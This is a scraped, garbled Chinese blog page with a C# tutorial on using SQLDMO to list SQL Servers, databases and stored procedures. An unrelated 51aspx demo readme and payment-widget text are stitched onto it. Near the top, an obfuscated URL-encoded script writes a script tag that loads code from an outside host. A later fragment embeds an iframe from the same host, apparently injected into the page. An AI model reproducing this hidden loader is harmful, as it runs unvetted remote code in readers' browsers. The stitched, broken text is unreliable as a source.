C#中使用SQL Server分布式管理对象(SQ

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
C#中使用SQL Server分布式管理对象(SQ


/div>
我们曾经在以前的应用中多次需要得到SQL Server的详细信息,过去,我们必须使用API和效率低下的ADO的 调用才能得到,现在,我们有了一个新的方法,就是SQLDMO(SQL Distributed Management Objects,SQL分布式管 理对象),尽管它目前还不被人所知和使用,但是SQLDMO提供了许多强有力的、和利用代码从SQL Server获得 信息相类似的许多功能,为举例方便,这里仅向您解释如何得到本地网络的SQL Server列表,如何去连接每 个SQL Server,以及如何得到Server中的表、存储过程和视图的列表。
SQLDMO对象来自SQLDMO.dll,SQLDMO.dll是随SQL Server2000一起发布的。SQLDMO.dll自身是一个COM对象,因此 ,在你的.NET项目里必须先引用它,VS.NET集成开发环境会创建所有必要的对COM的封装。注意:如果你使用“ using SQLDMO;”语句来引用的话,你将会得到一个错误信息。要让它在你的应用程序里正常工作,你必须按下图 去引用它:

引用了COM对象之后,你就可以很容易地使用它了。 
本例子中的所有操作都使用以下的一个或几个对象:
复制源代码
SQLDMO.Application 
SQLDMO.SQLServer 
SQLDMO.Database 
SQLDMO.NameList
象数据备份和恢复这样的操作都有许多对象可以使用,但作为例子,我们会尽量简单,使你轻松进 入SQLDMO的世界来浏览一下它的方便性。 
列出本地网络中可使用的SQL服务器相对来说比较简单,首先,你需要引用SQLDMO.Application对象,其 次,你必须建立一个SQLDMO.Application.ListAvailableSQLServers()方法的返回值的实 例SQLDMO.NameList,SQLDMO.NameList是服务器名字的COM集合。 
请记住:在你习惯了调用COM对象之前,调用COM对象总是令人感到可怕的,但习惯了就会好的。下面 是一些示例代码,它利用本地可使用的SQL服务器的列表来填充下拉列表框。
复制源代码
//得到所有本地网络中可使用的SQL服务器列表。
SQLDMO.Application sqlApp =
new
SQLDMO.ApplicationClass();SQLDMO.NameList sqlServers = sqlApp.ListAvailableSQLServers();
for
(
int
i = 0; i < sqlServers.Count; i++){
object
srv = sqlServers.Item(i + 1);
if
(srv !=
null
) {
this
.cboServers.Items.Add(srv); }}
if
(
this
.cboServers.Items.Count > 0)
this
.cboServers.SelectedIndex = 0;
else

this
.cboServers.Text =
"<No available SQL Servers>"
;
正如前面所讲的,是不是很简单?请记住:COM集合的第一个项目是1,而不是0。 
连接数据库并得到所有数据库的列表也是相当简单的。下面的代码采用上面下拉列表框所选择的SQL服 务器,并连接该服务器(使用文本框输入的用户名和密码),生成该服务器上数据库列表的下拉列表框。
复制源代码
//得到指定SQL服务器所有数据库的列表
SQLDMO.Application sqlApp =
new
SQLDMO.ApplicationClass();SQLDMO.SQLServer srv =
new
SQLDMO.SQLServerClass();srv.Connect(
this
.cboServers.SelectedItem.ToString(),
this
.txtUser.Text,
this
.txtPassword.Text);
foreach
(SQLDMO.Database db
in
srv.Databases){
if
(db.Name !=
null
)
this
.cboDatabase.Items.Add(db.Name);}
要得到该库中对象的列表也是轻而易举的事,再一次连接到数据库,就可以遍历出对象的集合。
复制源代码
//得到所有的存储过程,所有的表放到Tables集合,所以的视图放到Views集合
SQLDMO.SQLServer srv =
new
SQLDMO.SQLServerClass();srv.Connect(
this
.cboServers.SelectedItem.ToString(),
this
.txtUser.Text,
this
.txtPassword.Text);
for
(
int
i = 0; i < srv.Databases.Count; i++){
if
(srv.Databases.Item(i + 1,
"dbo"
).Name ==
this
.cboDatabase.SelectedItem.ToString()) { SQLDMO._Database db = srv.Databases.Item(i + 1,
"dbo"
);
this
.lstObjects.Items.Clear();
for
(
int
j = 0; j < db.StoredProcedures.Count; j++) {
this
.lstObjects.Items.Add(db.StoredProcedures.Item(j + 1,
"dbo"
).Name); }
break
; }}
程序运行的结果将象下图的样子:

通过上面的例子,要得到SQL的信息是不是很方便呢。  

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
使用方法: 先附加DB_51aspx文件夹里面数据库到你的mssql 2000当,用VS2005打开,修改web.config数据库配置: 这里改你的数据库用户名及密码 ,运行!OK! 后台路径为:admin/login.aspx 用户名 、密码为51aspx 采用多层分布式架构 -------WEB-------- 表示层,负责应用程序的表现形式、用户体验等。 -------Common------- 公共函数类,字符截取、验证用户输入信息等功能。一般被表示层调用。 -------BLL------ 处理应用程序的业务逻辑,被表示层调用。 -------DALFactory----- 抽象工厂,用于创建各种数据对象的方法,这里有配置文件和反射的运用。 -------Model------- Model程序集,存放实体类,用于数据访问层和逻辑层调用 -------IDAL-------- 数据操作接口,数据访问层实现其接口并重写它(体现了面向接口的编程思想)。 -------Sqlserver---- 数据访问层,实现具体的select、update、delete....操作,重写IDAL接口。 -------DBUtility---- 数据访问类组件,这里使用的是SqlHelper 注:这是我参考一些多层架构的资料结合对多层的理解写的一个demo,用了两天时间,可能不是很标准,大家看的时候,有什么意见多多交流,一起探讨.分页那里还有点bug,不过我想以后再改进了(分页封装到数据层我总觉得不好),前台部分没有用控件(貌似一个高手告诉我,如果哪天你做.net不用控件了,你就可以了,汗一下!我就索性试一试。^_^)。有什么不合理的地方,欢迎提出来,我们一起学习,一起交流。 作者:李平
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值